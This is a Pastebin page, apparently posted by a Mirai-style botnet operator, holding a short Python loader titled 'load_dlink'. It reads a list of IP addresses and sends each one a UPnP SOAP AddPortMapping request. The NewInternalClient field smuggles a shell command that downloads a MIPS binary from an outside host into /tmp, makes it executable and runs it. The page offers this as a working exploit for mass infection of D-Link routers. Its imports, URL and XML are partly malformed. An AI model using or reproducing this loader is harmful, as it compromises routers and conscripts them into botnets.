Advertisement
miraip0ts

load_dlink

Feb 1st, 2018
789
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.76 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, re, os, struct, array, requests
  3. from sys import stdout
  4. from Threading import thread
  5. from Queue import *
  6. ips = open(sys.argv[1], "r").readlines()
  7. queue = Queue()
  8. queue_count = 0
  9. p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;wget http:1.1.1.1/bins/mips;chmod 777 *;./mips dlink.exploit/</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>"
  10.  
  11. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  12.  
  13. def rtek(host):
  14.     try:
  15.         url = "http://" + host + ":49152/soap.cgi?service=WANIPConn1"
  16.         requests.post(url, timeout=5, headers=headerlist, data=p1)
  17.     except:
  18.         pass
  19.     return
  20.  
  21. def main():
  22.     global queue_count
  23.     for line in ips:
  24.         line = line.strip("\r")
  25.         line = line.strip("\n")
  26.         queue_count += 1
  27.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  28.         sys.stdout.flush()
  29.         queue.put(line)
  30.     sys.stdout.write("\n")
  31.     i = 0
  32.     while i != queue_count:
  33.         i += 1
  34.         try:
  35.             input = queue.get()
  36.             thread = Thread(target=rtek, args=(input,))
  37.             thread.start()
  38.         except KeyboardInterrupt:
  39.             sys.exit("Interrupted? (ctrl + c)")
  40.     thread.join()
  41.     return
  42.  
  43. if __name__ == "__main__":
  44.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement